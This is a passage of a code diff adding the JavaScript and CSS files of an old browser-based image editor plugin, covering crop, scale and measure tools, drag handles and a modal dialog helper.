+ ox=0;oy=0;if(g.style.left){x=parseInt(g.style.left);y=parseInt(g.style.top);
+ }else{var w1=parseInt(el.style.width);bx=(a<0)?-5-w1:-10;
+ a=(Math.abs(a)<1000)?0:a;b=(Math.abs(b)<1000)?0:b;
+ //alert(event.clientX);
+ if (event == null) x=document.body.scrollLeft + bx;
+ else x=document.body.scrollLeft + event.clientX + bx;
+ if (event == null) y=document.body.scrollTop;
+ else y=document.body.scrollTop + event.clientY;}}
+ }else if (document.layers) {x=g.x;y=g.y;var q0=document.layers,dd="";
+ for(var s=0;s<q0.length;s++) {dd='document.'+q0[s].name;
+ if(eval(dd+'.document.'+args[k])) {x+=eval(dd+'.left');y+=eval(dd+'.top');break;}}}
+ if(el) {e=(document.layers)?el:el.style;
+ var xx=parseInt(x+ox+a),yy=parseInt(y+oy+b);
+ //alert(xx+":"+yy);
+ if(navigator.appName=="Netscape" && parseInt(navigator.appVersion)>4){xx+="px";yy+="px";}
+ if(navigator.appVersion.indexOf("MSIE 5")>-1 && navigator.appVersion.indexOf("Mac")>-1){
+ xx+=parseInt(document.body.leftMargin);yy+=parseInt(document.body.topMargin);
+ xx+="px";yy+="px";}e.left=xx;e.top=yy;}
+ pic_x = parseInt(xx); pic_y = parseInt(yy);
+ //alert(xx+":"+yy);
+ }
+}
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+var dragapproved=false
+var z,x,y,status, ant, canvas, content, pic_width, pic_height, image, resizeHandle, oa_w, oa_h, oa_x, oa_y, mx2, my2;
+
+
+function init_resize()
+{
+ if(mode == "scale")
+ {
+ P7_Snap('theImage','ant',0,0);
+
+ if (canvas == null)
+ canvas = MM_findObj("imgCanvas");
+
+ if (pic_width == null || pic_height == null)
+ {
+ image = MM_findObj("theImage");
+ pic_width = image.width;
+ pic_height = image.height;
+ }
+
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ ant.style.left = pic_x; ant.style.top = pic_y;
+ ant.style.width = pic_width; ant.style.height = pic_height;
+ ant.style.visibility = "visible";
+
+ drawBoundHandle();
+ jg_doc.paint();
+ }
+}
+
+initEditor = function ()
+{
+ init_crop();
+ init_resize();
+ var markerImg = MM_findObj('markerImg', window.top.document);
+
+ if (markerImg.src.indexOf("img/t_white.gif")>0)
+ toggleMarker() ;
+}
+
+function init_crop()
+{
+ //if(mode == "crop") {
+ P7_Snap('theImage','ant',0,0);
+ //}
+}
+
+function setMode(newMode)
+{
+ mode = newMode;
+ reset();
+}
+
+function reset()
+{
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ ant.style.visibility = "hidden";
+ ant.style.left = 0;
+ ant.style.top = 0;
+ ant.style.width = 0;
+ ant.style.height = 0;
+
+ mx2 = null;
+ my2 = null;
+
+ jg_doc.clear();
+ if(mode != 'measure')
+ showStatus();
+
+ if(mode == "scale") {
+ init_resize();
+ }
+
+ P7_Snap('theImage','ant',0,0);
+}
+
+function toggleMarker()
+{
+ //alert("Toggle");
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ if(ant.className=="selection")
+ ant.className="selectionWhite";
+ else
+ ant.className="selection";
+
+ if (jg_doc.getColor() == "#000000")
+ jg_doc.setColor("#FFFFFF");
+ else
+ jg_doc.setColor("#000000");
+
+ drawBoundHandle
+ jg_doc.paint();
+}
+
+
+function move(e)
+{
+ if (dragapproved)
+ {
+ //z.style.left=ns6? temp1+e.clientX-x: temp1+event.clientX-x
+ //z.style.top=ns6? temp2+e.clientY-y : temp2+event.clientY-y
+ var w = ns6? temp1+e.clientX - x : temp1+event.clientX - x;
+ var h = ns6? temp2+e.clientY - y : temp2+event.clientY - y;
+
+ //alert(canvas.style.left);
+ /*if (status !=null)
+ {
+ status.innerHTML = "x:"+x+" y:"+y+" w:"+w+" h:"+h+" can_h:"+pic_height;
+ status.innerHTML += " can_w:"+pic_width+" px:"+pic_x+" py:"+pic_y;
+ status.innerHTML += " pix:"+image.style.left+" piy:"+image.style.top+" obj:"+obj.id;
+ }*/
+
+ /*jg_doc.clear();
+ jg_doc.fillRectPattern(0,0,Math.abs(w),Math.abs(h),pattern);
+ jg_doc.paint();
+*/
+ if (ant != null)
+ {
+ if (w >= 0)
+ {
+ ant.style.left = x;
+ ant.style.width = w;
+ }
+ else
+ {
+ ant.style.left = x+w;
+ ant.style.width = -1*w;
+ }
+
+ if (h >= 0)
+ {
+ ant.style.top = y;
+ ant.style.height = h;
+ }
+ else
+ {
+ ant.style.top = y+h;
+ ant.style.height = -1*h
+ }
+ }
+
+ showStatus();
+ return false
+ }
+}
+
+function moveContent(e)
+{
+ if (dragapproved)
+ {
+
+ var dx =ns6? oa_x + e.clientX-x: oa_x + event.clientX-x
+ var dy =ns6? oa_y + e.clientY-y : oa_y + event.clientY-y
+
+
+ /*if (status !=null)
+ {
+ status.innerHTML = "x:"+x+" y:"+y+" dx:"+dx+" dy:"+dy;
+ }*/
+
+ ant.style.left = dx;
+ ant.style.top = dy;
+
+ showStatus();
+
+ return false;
+ }
+}
+
+//Code add for constraints by Frédéric Klee <fklee@isuisse.com>
+function moveHandle(e)
+{
+ if (dragapproved)
+ {
+ var w = ns6? e.clientX - x : event.clientX - x;
+ var h = ns6? e.clientY - y : event.clientY - y;
+
+ var constrained = MM_findObj('constProp', window.top.document);
+ var orginal_height = document.theImage.height ;
+ var orginal_width = document.theImage.width ;
+ rapp = orginal_width/orginal_height ;
+ rapp_inv = orginal_height / orginal_width ;
+
+ switch(resizeHandle)
+ {
+
+ case "s-resize":
+ if (oa_h + h >= 0)
+ {
+ ant.style.height = oa_h + h;
+ if(constrained.checked)
+ {
+ ant.style.width = rapp * (oa_h + h) ;
+ ant.style.left = oa_x - rapp * h/2;
+ }
+
+ }
+ break;
+ case "e-resize":
+ if(oa_w + w >= 0)
+ {
+ ant.style.width = oa_w + w;
+ if(constrained.checked)
+ {
+ ant.style.height = rapp_inv * (oa_w + w) ;
+ ant.style.top = oa_y - rapp_inv * w/2;
+ }
+
+ }
+ break;
+ case "n-resize":
+ if (oa_h - h >= 0)
+ {
+ ant.style.top = oa_y + h;
+ ant.style.height = oa_h - h;
+ if(constrained.checked)
+ {
+ ant.style.width = rapp * (oa_h - h) ;
+ ant.style.left = oa_x + rapp * h/2;
+ }
+
+ }
+ break;
+ case "w-resize":
+ if(oa_w - w >= 0)
+ {
+ ant.style.left = oa_x + w;
+ ant.style.width = oa_w - w;
+ if(constrained.checked)
+ {
+ ant.style.height = rapp_inv * (oa_w - w) ;
+ ant.style.top = oa_y + rapp_inv * w/2;
+ }
+
+ }break;
+ case "nw-resize":
+ if(oa_h - h >= 0 && oa_w - w >= 0) {
+ ant.style.left = oa_x + w;
+ ant.style.width = oa_w - w;
+ ant.style.top = oa_y + h;
+ if(constrained.checked)
+ ant.style.height = rapp_inv * (oa_w - w) ;
+ else
+ ant.style.height = oa_h - h;
+ }
+ break;
+ case "ne-resize":
+ if (oa_h - h >= 0 && oa_w + w >= 0){
+ ant.style.top = oa_y + h;
+ ant.style.width = oa_w + w;
+ if(constrained.checked)
+ ant.style.height = rapp_inv * (oa_w + w) ;
+ else
+ ant.style.height = oa_h - h;
+ }
+ break;
+ case "se-resize":
+ if (oa_h + h >= 0 && oa_w + w >= 0)
+ {
+ ant.style.width = oa_w + w;
+ if(constrained.checked)
+ ant.style.height = rapp_inv * (oa_w + w) ;
+ else
+ ant.style.height = oa_h + h;
+ }
+ break;
+ case "sw-resize":
+ if (oa_h + h >= 0 && oa_w - w >= 0)
+ {
+ ant.style.left = oa_x + w;
+ ant.style.width = oa_w - w;
+ if(constrained.checked)
+ ant.style.height = rapp_inv * (oa_w - w) ;
+ else
+ ant.style.height = oa_h + h;
+ }
+ }
+
+ showStatus();
+ return false;
+
+ }
+}
+
+function drags(e)
+{
+ if (!ie&&!ns6)
+ return
+
+ var firedobj=ns6? e.target : event.srcElement
+ var topelement=ns6? "HTML" : "BODY"
+
+ while (firedobj.tagName!=topelement&&
+ !(firedobj.className=="crop"
+ || firedobj.className=="handleBox"
+ || firedobj.className=="selection" || firedobj.className=="selectionWhite"))
+ {
+ firedobj=ns6? firedobj.parentNode : firedobj.parentElement
+ }
+
+ if(firedobj.className=="handleBox") {
+
+ if(content != null) {
+ if(content.width != null && content.height != null) {
+ content.width = 0;
+ content.height = 0;
+ }
+ //alert(content.width+":"+content.height);
+ }
+ resizeHandle = firedobj.id;
+
+ /*if(status!=null) {
+ status.innerHTML = " obj:"+firedobj.id;
+ }*/
+
+ x=ns6? e.clientX: event.clientX
+ y=ns6? e.clientY: event.clientY
+
+ oa_w = parseInt(ant.style.width);
+ oa_h = parseInt(ant.style.height);
+ oa_x = parseInt(ant.style.left);
+ oa_y = parseInt(ant.style.top);
+
+ dragapproved=true
+ document.onmousemove=moveHandle;
+ return false;
+ }
+ else
+ if((firedobj.className == "selection" || firedobj.className=="selectionWhite")&& mode == "crop") {
+
+ x=ns6? e.clientX: event.clientX
+ y=ns6? e.clientY: event.clientY
+
+ oa_x = parseInt(ant.style.left);
+ oa_y = parseInt(ant.style.top);
+
+ dragapproved=true
+ document.onmousemove=moveContent;
+ return false;
+ }
+ else
+ if (firedobj.className=="crop" && mode == "crop")
+ {
+ if(content != null) {
+ if(content.width != null && content.height != null) {
+ content.width = 0;
+ content.height = 0;
+ }
+ //alert(content.width+":"+content.height);
+ }
+
+ if (status == null)
+ status = MM_findObj("status");
+
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ if (canvas == null)
+ canvas = MM_findObj("imgCanvas");
+ if(content == null) {
+ content = MM_findObj("cropContent");
+ }
+
+ if (pic_width == null || pic_height == null)
+ {
+ image = MM_findObj("theImage");
+ pic_width = image.width;
+ pic_height = image.height;
+ }
+
+ ant.style.visibility = "visible";
+
+ obj = firedobj;
+ dragapproved=true
+ z=firedobj
+ temp1=parseInt(z.style.left+0)
+ temp2=parseInt(z.style.top+0)
+ x=ns6? e.clientX: event.clientX
+ y=ns6? e.clientY: event.clientY
+ document.onmousemove=move
+ return false
+ }
+ else if(firedobj.className=="crop" && mode == "measure") {
+
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ if (canvas == null)
+ canvas = MM_findObj("imgCanvas");
+
+ x=ns6? e.clientX: event.clientX
+ y=ns6? e.clientY: event.clientY
+
+ //jg_doc.draw
+ dragapproved=true
+ document.onmousemove=measure
+
+ return false
+ }
+}
+
+function measure(e)
+{
+ if (dragapproved)
+ {
+ mx2 = ns6? e.clientX : event.clientX;
+ my2 = ns6? e.clientY : event.clientY;
+
+ jg_doc.clear();
+ jg_doc.setStroke(Stroke.DOTTED);
+ jg_doc.drawLine(x,y,mx2,my2);
+ jg_doc.paint();
+ showStatus();
+ return false;
+ }
+}
+
+function setMarker(nx,ny,nw,nh)
+{
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ if (canvas == null)
+ canvas = MM_findObj("imgCanvas");
+ if(content == null) {
+ content = MM_findObj("cropContent");
+ }
+
+ if (pic_width == null || pic_height == null)
+ {
+ image = MM_findObj("theImage");
+ pic_width = image.width;
+ pic_height = image.height;
+ }
+
+ ant.style.visibility = "visible";
+
+ nx = pic_x + nx;
+ ny = pic_y + ny;
+
+ if (nw >= 0)
+ {
+ ant.style.left = nx;
+ ant.style.width = nw;
+ }
+ else
+ {
+ ant.style.left = nx+nw;
+ ant.style.width = -1*nw;
+ }
+
+ if (nh >= 0)
+ {
+ ant.style.top = ny;
+ ant.style.height = nh;
+ }
+ else
+ {
+ ant.style.top = ny+nh;
+ ant.style.height = -1*nh
+ }
+
+
+}
+
+function max(x,y)
+{
+ if(y > x)
+ return x;
+ else
+ return y;
+}
+
+function drawBoundHandle()
+{
+ if(ant == null || ant.style == null)
+ return false;
+
+ var ah = parseInt(ant.style.height);
+ var aw = parseInt(ant.style.width);
+ var ax = parseInt(ant.style.left);
+ var ay = parseInt(ant.style.top);
+
+ jg_doc.drawHandle(ax-15,ay-15,30,30,"nw-resize"); //upper left
+ jg_doc.drawHandle(ax-15,ay+ah-15,30,30,"sw-resize"); //lower left
+ jg_doc.drawHandle(ax+aw-15,ay-15,30,30,"ne-resize"); //upper right
+ jg_doc.drawHandle(ax+aw-15,ay+ah-15,30,30,"se-resize"); //lower right
+
+ jg_doc.drawHandle(ax+max(15,aw/10),ay-8,aw-2*max(15,aw/10),8,"n-resize"); //top middle
+ jg_doc.drawHandle(ax+max(15,aw/10),ay+ah,aw-2*max(15,aw/10),8,"s-resize"); //bottom middle
+ jg_doc.drawHandle(ax-8, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"w-resize"); //left middle
+ jg_doc.drawHandle(ax+aw, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"e-resize"); //right middle
+
+
+
+ jg_doc.drawHandleBox(ax-4,ay-4,8,8,"nw-resize"); //upper left
+ jg_doc.drawHandleBox(ax-4,ay+ah-4,8,8,"sw-resize"); //lower left
+ jg_doc.drawHandleBox(ax+aw-4,ay-4,8,8,"ne-resize"); //upper right
+ jg_doc.drawHandleBox(ax+aw-4,ay+ah-4,8,8,"se-resize"); //lower right
+
+ jg_doc.drawHandleBox(ax+aw/2-4,ay-4,8,8,"n-resize"); //top middle
+ jg_doc.drawHandleBox(ax+aw/2-4,ay+ah-4,8,8,"s-resize"); //bottom middle
+ jg_doc.drawHandleBox(ax-4, ay+ah/2-4,8,8,"w-resize"); //left middle
+ jg_doc.drawHandleBox(ax+aw-4, ay+ah/2-4,8,8,"e-resize"); //right middle
+
+ //jg_doc.paint();
+}
+
+function showStatus()
+{
+ if(ant == null || ant.style == null) {
+ return false;
+ }
+
+ if(mode == "measure") {
+ //alert(pic_x);
+ mx1 = x - pic_x;
+ my1 = y - pic_y;
+
+ mw = mx2 - x;
+ mh = my2 - y;
+
+ md = parseInt(Math.sqrt(mw*mw + mh*mh)*100)/100;
+
+ ma = (Math.atan(-1*mh/mw)/Math.PI)*180;
+ if(mw < 0 && mh < 0)
+ ma = ma+180;
+
+ if (mw <0 && mh >0)
+ ma = ma - 180;
+
+ ma = parseInt(ma*100)/100;
+
+ if (m_sx != null && !isNaN(mx1))
+ m_sx.value = mx1+"px";
+ if (m_sy != null && !isNaN(my1))
+ m_sy.value = my1+"px";
+ if(m_w != null && !isNaN(mw))
+ m_w.value = mw + "px";
+ if(m_h != null && !isNaN(mh))
+ m_h.value = mh + "px";
+
+ if(m_d != null && !isNaN(md))
+ m_d.value = md + "px";
+ if(m_a != null && !isNaN(ma))
+ m_a.value = ma + "";
+
+ if(r_ra != null &&!isNaN(ma))
+ r_ra.value = ma;
+
+ //alert("mx1:"+mx1+" my1"+my1);
+ return false;
+ }
+
+ var ah = parseInt(ant.style.height);
+ var aw = parseInt(ant.style.width);
+ var ax = parseInt(ant.style.left);
+ var ay = parseInt(ant.style.top);
+
+ var cx = ax-pic_x<0?0:ax-pic_x;
+ var cy = ay-pic_y<0?0:ay-pic_y;
+ cx = cx>pic_width?pic_width:cx;
+ cy = cy>pic_height?pic_height:cy;
+
+ var cw = ax-pic_x>0?aw:aw-(pic_x-ax);
+ var ch = ay-pic_y>0?ah:ah-(pic_y-ay);
+
+ ch = ay+ah<pic_y+pic_height?ch:ch-(ay+ah-pic_y-pic_height);
+ cw = ax+aw<pic_x+pic_width?cw:cw-(ax+aw-pic_x-pic_width);
+
+ ch = ch<0?0:ch; cw = cw<0?0:cw;
+
+ if (ant.style.visibility == "hidden")
+ {
+ cx = ""; cy = ""; cw=""; ch="";
+ }
+
+ if(mode == 'crop') {
+ if(t_cx != null)
+ t_cx.value = cx;
+ if (t_cy != null)
+ t_cy.value = cy;
+ if(t_cw != null)
+ t_cw.value = cw;
+ if (t_ch != null)
+ t_ch.value = ch;
+ }
+ else if(mode == 'scale') {
+
+ var sw = aw, sh = ah;
+
+ if (s_sw.value.indexOf('%')>0 && s_sh.value.indexOf('%')>0)
+ {
+ sw = cw/pic_width;
+ sh = ch/pic_height;
+ }
+ if (s_sw != null)
+ s_sw.value = sw;
+ if (s_sh != null)
+ s_sh.value = sh;
+ }
+
+}
+
+function dragStopped()
+{
+ dragapproved=false;
+
+ if(ant == null || ant.style == null) {
+ return false;
+ }
+
+ if(mode == "measure") {
+ jg_doc.drawLine(x-4,y,x+4,y);
+ jg_doc.drawLine(x,y-4,x,y+4);
+ jg_doc.drawLine(mx2-4,my2,mx2+4,my2);
+ jg_doc.drawLine(mx2,my2-4,mx2,my2+4);
+
+ jg_doc.paint();
+ showStatus();
+ return false;
+ }
+ var ah = parseInt(ant.style.height);
+ var aw = parseInt(ant.style.width);
+ var ax = parseInt(ant.style.left);
+ var ay = parseInt(ant.style.top);
+ jg_doc.clear();
+
+ if(content != null) {
+ if(content.width != null && content.height != null) {
+ content.width = aw-1;
+ content.height = ah-1;
+ }
+ //alert(content.width+":"+content.height);
+ }
+ if(mode == "crop") {
+ //alert(pic_y);
+ jg_doc.fillRectPattern(pic_x,pic_y,pic_width,ay-pic_y,pattern);
+
+ var h1 = ah;
+ var y1 = ay;
+ if (ah+ay >= pic_height+pic_y)
+ h1 = pic_height+pic_y-ay;
+ else if (ay <= pic_y)
+ {
+ h1 = ay+ah-pic_y;
+ y1 = pic_y;
+ }
+ jg_doc.fillRectPattern(pic_x,y1,ax-pic_x,h1,pattern);
+ jg_doc.fillRectPattern(ax+aw,y1,pic_x+pic_width-ax-aw,h1,pattern);
+ jg_doc.fillRectPattern(pic_x,ay+ah,pic_width,pic_height+pic_y-ay-ah,pattern);
+ }
+ else if(mode == "scale") {
+ //alert("Resizing: iw:"+image.width+" nw:"+aw);
+ document.theImage.height = ah;
+ document.theImage.width = aw;
+ document.theImage.style.height = ah+" px";
+ document.theImage.style.width = aw+" px";
+
+ P7_Snap('theImage','ant',0,0);
+
+ //alert("After Resizing: iw:"+image.width+" nw:"+aw);
+ }
+
+ drawBoundHandle();
+ jg_doc.paint();
+
+ showStatus();
+ return false;
+}
+
+document.onmousedown=drags
+document.onmouseup=dragStopped;
+
--- /dev/null
+.icons {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+ text-align: center;
+ text-decoration: none;
+ border: 1px solid #EEEEFF;
+ -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+
+body, td, p {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+.iconsOver {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+ text-align: center;
+ text-decoration: none;
+ background-color: #F9F9FF;
+ border: 1px solid #666699;
+ -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.topBar {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+}
+.iconsSel {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+ text-align: center;
+ text-decoration: none;
+ border: 1px solid #666699;
+ -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.iconText {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+ text-decoration: none;
+ text-align: center;
+}
+.measureStats{
+ width: 50px;
+}
+
+#slidercasing {
+ /*border:1px solid #CCCCCC;
+ background-color:#FFFFFF;*/
+ width:100px;
+ height:5px;
+ position:relative;
+ z-index:4;
+ padding:10px;
+}
+
+
+#slidertrack {
+ position:relative;
+ border:1px solid #CCCCCC;
+ background-color:#FFFFCC;
+ z-index:5;
+ height:5px;
+}
+
+
+#sliderbar {
+ position:absolute;
+ z-index:6;
+ border:1px solid #CCCCCC;
+ background-color:#DDDDDD;
+ width:15px;
+ padding:0px;
+ height:20px;
+ cursor: pointer;
+ top:2px;
+}
+
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
--- /dev/null
+// Dialog v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: dialog.js,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+
+// Though "Dialog" looks like an object, it isn't really an object. Instead
+// it's just namespace for protecting global symbols.
+
+function Dialog(url, action, init) {
+ if (typeof init == "undefined") {
+ init = window; // pass this window object by default
+ }
+ Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
+ setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+ if (Dialog._modal && !Dialog._modal.closed) {
+ Dialog._stopEvent(ev);
+ }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+ //var urlLink = "hadialog"+url.toString();
+ var myURL = "hadialog"+url;
+ var regObj = /\W/g;
+ myURL = myURL.replace(regObj,'_');
+ var dlg = window.open(url, myURL,
+ "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+ "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+ Dialog._modal = dlg;
+ Dialog._arguments = init;
+
+ // capture some window's events
+ function capwin(w) {
+ Dialog._addEvent(w, "click", Dialog._parentEvent);
+ Dialog._addEvent(w, "mousedown", Dialog._parentEvent);
+ Dialog._addEvent(w, "focus", Dialog._parentEvent);
+ };
+ // release the captured events
+ function relwin(w) {
+ Dialog._removeEvent(w, "click", Dialog._parentEvent);
+ Dialog._removeEvent(w, "mousedown", Dialog._parentEvent);
+ Dialog._removeEvent(w, "focus", Dialog._parentEvent);
+ };
+ capwin(window);
+ // capture other frames
+ for (var i = 0; i < window.frames.length; capwin(window.frames[i++]));
+ // make up a function to be called when the Dialog ends.
+ Dialog._return = function (val) {
+ if (val && action) {
+ action(val);
+ }
+ relwin(window);
+ // capture other frames
+ for (var i = 0; i < window.frames.length; relwin(window.frames[i++]));
+ Dialog._modal = null;
+ };
+};
+
+
+// event handling
+
+Dialog._addEvent = function(el, evname, func) {
+ if (Dialog.is_ie) {
+ el.attachEvent("on" + evname, func);
+ } else {
+ el.addEventListener(evname, func, true);
+ }
+};
+
+
+Dialog._removeEvent = function(el, evname, func) {
+ if (Dialog.is_ie) {
+ el.detachEvent("on" + evname, func);
+ } else {
+ el.removeEventListener(evname, func, true);
+ }
+};
+
+
+Dialog._stopEvent = function(ev) {
+ if (Dialog.is_ie) {
+ ev.cancelBubble = true;
+ ev.returnValue = false;
+ } else {
+ ev.preventDefault();
+ ev.stopPropagation();
+ }
+};
+
+Dialog.agt = navigator.userAgent.toLowerCase();
+Dialog.is_ie = ((Dialog.agt.indexOf("msie") != -1) && (Dialog.agt.indexOf("opera") == -1));
--- /dev/null
+ body
+ {
+ margin: 0; padding: 0;
+ font: 11px Tahoma,Verdana,sans-serif;
+ }
+ select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+
+ #indicator
+ {
+ width: 25px;
+ height: 20px;
+ background-color: #eef;
+ padding: 15px 20px;
+ position: absolute;
+ left: 0; top: 0;
+ }
+ * html #indicator
+ {
+ padding: 14px 22px;
+ }
+ #tools
+ {
+ width: 600px;
+ height: 50px;
+ background-color: #eef;
+ padding: 0;
+ position: absolute;
+ left: 63px;
+ border-left: 1px solid white;
+ border-bottom: 1px solid white;
+ }
+ #toolbar
+ {
+ width: 53px;
+ height: 435px;
+ background-color: #eef;
+ float: left;
+ text-align: center;
+ padding: 5px;
+ position: absolute;
+ top: 50px;
+ border-top: 1px solid white;
+ border-right: 1px solid white;
+ }
+
+ #contents
+ {
+ width: 600px;
+ height: 445px;
+ position: absolute;
+ left: 64px; top: 51px;
+ }
+
+ #editor
+ {
+ width: 600px;
+ height: 445px;
+ }
+
+ #toolbar a
+ {
+ padding: 5px;
+ width: 40px;
+ display: block;
+ border: 1px solid #eef;
+ text-align: center;
+ text-decoration: none;
+ color: #669;
+ margin: 5px 0;
+ }
+ #toolbar a:hover
+ {
+ background-color: #F9F9FF;
+ border-color: #669;
+ }
+
+ #toolbar a.iconActive
+ {
+ border-color: #669;
+ }
+
+ #toolbar a span
+ {
+ display: block;
+ text-decoration: none;
+
+ }
+ #toolbar a img
+ {
+ border: 0 none;
+ }
+
+ #tools .textInput
+ {
+ width: 3em;
+ vertical-align: 0px;
+
+ }
+ * html #tools .textInput
+ {
+ vertical-align: middle;
+ }
+ #tools .measureStats
+ {
+ width: 4.5em;
+ border: 0 none;
+ background-color: #eef;
+ vertical-align: 0px;
+ }
+ * html #tools .measureStats
+ {
+ vertical-align: middle;
+ }
+ #tools label
+ {
+ margin: 0 2px 0 5px;
+ }
+ #tools input
+ {
+ vertical-align: middle;
+ }
+ #tools #tool_inputs
+ {
+ padding-top: 10px;
+ float: left;
+ }
+ #tools .div
+ {
+ vertical-align: middle;
+ margin: 0 5px;
+ }
+ #tools img
+ {
+ border: 0 none;
+ }
+ #tools a.buttons
+ {
+ margin-top: 10px;
+ border: 1px solid #eef;
+ display: block;
+ float: left;
+ }
+ #tools a.buttons:hover
+ {
+ background-color: #F9F9FF;
+ border-color: #669;
+ }
+ #slidercasing {
+ /*border:1px solid #CCCCCC;
+ background-color:#FFFFFF;*/
+ width:100px;
+ height:5px;
+ position:relative;
+ z-index:4;
+ padding:10px;
+ top: 6px;
+ margin: 0 -5px 0 -10px;
+
+
+}
+
+
+#slidertrack {
+ position:relative;
+ border:1px solid #CCCCCC;
+ background-color:#FFFFCC;
+ z-index:5;
+ height:5px;
+}
+
+
+#sliderbar {
+ position:absolute;
+ z-index:6;
+ border:1px solid #CCCCCC;
+ background-color:#DDDDDD;
+ width:15px;
+ padding:0px;
+ height:20px;
+ cursor: pointer;
+ top:2px;
+}
+
+* html #slidercasing
+{
+ top:0;
+}
+
+
+#bottom
+{
+ position: relative;
+ top: 490px;
+}
--- /dev/null
+/**
+ * Functions for the ImageEditor interface, used by editor.php only
+ * @author $Author: matrix $
+ * @version $Id: editor.js,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+ * @package ImageManager
+ */
+
+ var current_action = null;
+ var actions = ['crop', 'scale', 'rotate', 'measure', 'save'];
+ var orginal_width = null, orginal_height=null;
+ function toggle(action)
+ {
+ if(current_action != action)
+ {
+
+ for (var i in actions)
+ {
+ if(actions[i] != action)
+ {
+ var tools = document.getElementById('tools_'+actions[i]);
+ tools.style.display = 'none';
+ var icon = document.getElementById('icon_'+actions[i]);
+ icon.className = '';
+ }
+ }
+
+ current_action = action;
+
+ var tools = document.getElementById('tools_'+action);
+ tools.style.display = 'block';
+ var icon = document.getElementById('icon_'+action);
+ icon.className = 'iconActive';
+
+ var indicator = document.getElementById('indicator_image');
+ indicator.src = 'img/'+action+'.gif';
+
+ editor.setMode(current_action);
+
+ //constraints on the scale,
+ //code by Frédéric Klee <fklee@isuisse.com>
+ if(action == 'scale')
+ {
+ var theImage = editor.window.document.getElementById('theImage');
+ orginal_width = theImage.width ;
+ orginal_height = theImage.height;
+
+ var w = document.getElementById('sw');
+ w.value = orginal_width ;
+ var h = document.getElementById('sh') ;
+ h.value = orginal_height ;
+ }
+
+ }
+ }
+
+ function toggleMarker()
+ {
+ var marker = document.getElementById("markerImg");
+
+ if(marker != null && marker.src != null) {
+ if(marker.src.indexOf("t_black.gif") >= 0)
+ marker.src = "img/t_white.gif";
+ else
+ marker.src = "img/t_black.gif";
+
+ editor.toggleMarker();
+ }
+ }
+
+ //Togggle constraints, by Frédéric Klee <fklee@isuisse.com>
+ function toggleConstraints()
+ {
+ var lock = document.getElementById("scaleConstImg");
+ var checkbox = document.getElementById("constProp");
+
+ if(lock != null && lock.src != null) {
+ if(lock.src.indexOf("unlocked2.gif") >= 0)
+ {
+ lock.src = "img/islocked2.gif";
+ checkbox.checked = true;
+ checkConstrains('width');
+
+ }
+ else
+ {
+ lock.src = "img/unlocked2.gif";
+ checkbox.checked = false;
+ }
+ }
+ }
+
+ //check the constraints, by Frédéric Klee <fklee@isuisse.com>
+ function checkConstrains(changed)
+ {
+ var constrained = document.getElementById('constProp');
+ if(constrained.checked)
+ {
+ var w = document.getElementById('sw') ;
+ var width = w.value ;
+ var h = document.getElementById('sh') ;
+ var height = h.value ;
+
+ if(orginal_width > 0 && orginal_height > 0)
+ {
+ if(changed == 'width' && width > 0)
+ h.value = parseInt((width/orginal_width)*orginal_height);
+ else if(changed == 'height' && height > 0)
+ w.value = parseInt((height/orginal_height)*orginal_width);
+ }
+ }
+
+ updateMarker('scale') ;
+ }
+
+
+ function updateMarker(mode)
+ {
+ if (mode == 'crop')
+ {
+ var t_cx = document.getElementById('cx');
+ var t_cy = document.getElementById('cy');
+ var t_cw = document.getElementById('cw');
+ var t_ch = document.getElementById('ch');
+
+ editor.setMarker(parseInt(t_cx.value), parseInt(t_cy.value), parseInt(t_cw.value), parseInt(t_ch.value));
+ }
+ else if(mode == 'scale') {
+ var s_sw = document.getElementById('sw');
+ var s_sh = document.getElementById('sh');
+ editor.setMarker(0, 0, parseInt(s_sw.value), parseInt(s_sh.value));
+ }
+ }
+
+
+ function rotatePreset(selection)
+ {
+ var value = selection.options[selection.selectedIndex].value;
+
+ if(value.length > 0 && parseInt(value) != 0) {
+ var ra = document.getElementById('ra');
+ ra.value = parseInt(value);
+ }
+ }
+
+ function updateFormat(selection)
+ {
+ var selected = selection.options[selection.selectedIndex].value;
+
+ var values = selected.split(",");
+ if(values.length >1) {
+ updateSlider(parseInt(values[1]));
+ }
+
+ }
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+
+ init = function()
+ {
